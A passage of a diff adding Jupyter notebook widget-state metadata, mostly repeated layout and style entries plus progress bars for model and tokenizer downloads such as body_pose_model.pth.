+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_8c4e2621ec244a2db21262a8ed0e4ab7",
+            "value": 334643276
+          }
+        },
+        "41b442152042436ea0703d3c1181824d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_18a72653fc284d29be02e4d2a477ecdd",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ff1597bd843b4770b93ffa71f0b05da4",
+            "value": " 743/743 [00:00&lt;00:00, 8.46kB/s]"
+          }
+        },
+        "41cb4b504f3e45ea847e1cd74ae449d0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "42109c92a03c45cabd7fbb0cc7cf1c4a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5056e439bb4b4bad8b0694c79138424f",
+            "max": 806,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7d6d17a2798c41c6b27c25e1057869a3",
+            "value": 806
+          }
+        },
+        "425d719b752b4a1480f8c3f8b9388e50": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8ff9c129cb434f9bbab238f1779c9b0b",
+            "max": 492265874,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7e5f077830e94e278b213ee5f11739d9",
+            "value": 492265874
+          }
+        },
+        "4276b44c60b64716ab7ad52d8354bc1f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "42cabc32ffc34ddd924fde45571ada38": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4332d0e942ea406daeca4e1bbd36d4cb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "43820ed672c04bbf80155b25c4e4de15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4399ee6304e94797ac6f36318165d4cc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "439ee7b8de924bf6ba5ee4ef22e0e659": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "44223dcee3694e168e866af5f69aaad4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "445925a5c9da455c90fd9225ab521c1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "44bc01157b4945b7b81401f978dce8ca": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "44d7b2f89c984dcda69f368adbdf846f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "452c129fabca48efa832b81481703bab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "455bc344fe60421da1ac931657cbd162": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4615b3c5ce674070840fbb7bcb54f262": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_23a9e406e89041f8ab9a15eae4f9c61b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f18d3449a23c485a85e38f0ced810c99",
+            "value": " 920/920 [00:00&lt;00:00, 16.9kB/s]"
+          }
+        },
+        "47507d2cf4e04f2f927ee369c6d7b4d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b4e865be02fb4290849b676f4dd18ed0",
+            "max": 9876,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_87d4c1e6a2a047f887704f6b0a148d2e",
+            "value": 9876
+          }
+        },
+        "475c331703bb43adb142f6c9cc41a3bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c45aec98de234d3982ff83924dce8d7a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_942ace43ed1d48aeafc6c5e17f14e034",
+            "value": "100%"
+          }
+        },
+        "483e47a822fe43d6ae4c114bfbb8be8a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c905c8d69bcb404aa39ca499c96549e3",
+              "IPY_MODEL_bd5c5827932b4dabbac38adb33544e48",
+              "IPY_MODEL_dddba90edf87434aa404eea38eaa63f2"
+            ],
+            "layout": "IPY_MODEL_a32f66c9b59e4ae2bca41c1c582119e7"
+          }
+        },
+        "485caac1aa1641a3b31827620ddfa3e4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bcd48b3b056c4c14b6034ef32fdde5d5",
+            "max": 472,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_948f2f29870b4ee7974ddad6ba18397d",
+            "value": 472
+          }
+        },
+        "48a26564f08f43dd962464feb762c232": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c6965bc561db4c519b751c5b7bff96a8",
+              "IPY_MODEL_032471548f5c45ed89d8a62db800c7fc",
+              "IPY_MODEL_0af102aac55747fcb8854b8b5ed2dd27"
+            ],
+            "layout": "IPY_MODEL_a086d1c6722547d5be5939cf4284a1ef"
+          }
+        },
+        "48dabed3f2ce465ab16a704e0c6b12f7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_962917ac2b044e5989e88100ceb45296",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a212be07369b404eb9f04a9cde6543d4",
+            "value": "Downloading body_pose_model.pth: 100%"
+          }
+        },
+        "48ec35653f99446db9cefabe146bb2d8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6d699038776e4fad8bb74d2381109b65",
+            "placeholder": "​",
+            "style": "IPY_MODEL_38dd90648c1949b196ebf27fb21436ba",
+            "value": " 525k/525k [00:00&lt;00:00, 735kB/s]"
+          }
+        },
+        "4900e42f3bfa4a6096b16d47d38687dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c39f69cd4e8b4bca8e95bda3b06a74f1",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f8dbc4c64a0d440e9660b0d7ef083b5c",
+            "value": " 20/20 [00:10&lt;00:00,  4.77it/s]"
+          }
+        },
+        "4a3a0d14e22f4a6e9dbb5fb35bc33e8d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4a3c28369fc14bbebdc749d0b3a5747b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4af5ce87c2a243238375d7edf93d08b2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4b4b8aee32724ff5b0a40f9af956fe72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_15c1713762124e828b20f54684e496d0",
+            "max": 920,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e16487cbe8d74b5baad0d41dbdeeedbb",
+            "value": 920
+          }
+        },
+        "4bf53145f39644d2bf5c3e31f9f23b1a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4c8fa5fd3d224ce694243ea790de8986": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_28baa1ec6f3c46309c04f2c8462b1798",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9cc4d939cc454a0da5eb7bdd234f69b5",
+            "value": "Downloading (…)tokenizer/vocab.json: 100%"
+          }
+        },
+        "4cb413851dc3469a8ea04e40373b11de": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8d2f2b219308442db07d23b057f8e7cf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7b9508943bee4f76b996ba561d4bbe9b",
+            "value": "100%"
+          }
+        },
+        "4d73b627ecc74bf7ad18f5effa245097": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4e264753749d48a8aab85b9f8fe30aba": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4ec20db88a97441982a914517888a8b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4f425c415dac44b3b86aa4f481254196": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_97ffad3c1b6e4c9c9621966c028c12aa",
+              "IPY_MODEL_3c2af8d5617b4b878b2e68f3fc7ebff6",
+              "IPY_MODEL_8d27414ca68a4494ab3febc1c8a03025"
+            ],
+            "layout": "IPY_MODEL_10f4d1976dc04c3bb651b45c08298fab"
+          }
+        },
+        "4f4bfc7bd24148e6ac524b57cc6d8020": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4fbfe981703e4365a6e944cb9f3913d5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
